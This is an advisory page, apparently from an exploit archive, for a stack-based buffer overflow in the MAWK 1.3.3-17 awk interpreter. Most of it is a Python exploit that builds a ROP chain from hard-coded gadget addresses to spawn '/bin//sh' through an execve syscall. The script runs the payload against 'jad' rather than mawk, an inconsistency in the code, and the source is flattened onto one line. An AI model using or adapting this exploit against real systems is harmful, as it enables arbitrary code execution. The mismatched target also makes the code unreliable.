MAWK 1.3.3-17 Buffer Overflow

2017.07.25
Credit: Juan Sacco
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com> # Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com # Tested on: GNU/Linux - Kali 2017.1 Release # # Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate boundary-checks on user-supplied input. # # Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful # for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # import os, subprocess from struct import pack ropchain = "A"*1038 # junk ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe0) # @ .data ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0807b744) # pop eax ; ret ropchain += '/bin' ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe4) # @ .data + 4 ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0807b744) # pop eax ; ret ropchain += '//sh' ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret ropchain += pack('<I', 0x0811abe0) # @ .data ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x08067b43) # pop ecx ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ropchain += pack('<I', 0x0811abe8) # @ .data + 8 ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x41414141) # padding ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080e571f) # inc eax ; ret ropchain += pack('<I', 0x080c861f) # int 0x80 try: print("[*] MAWK 1.3.3 Stack-Based Buffer Overflow by Juan Sacco") print("[*] Please wait.. running") subprocess.call(["jad", ropchain]) except OSError as e: if e.errno == os.errno.ENOENT: print "MAWK not found!" else: print "Error executing exploit" raise


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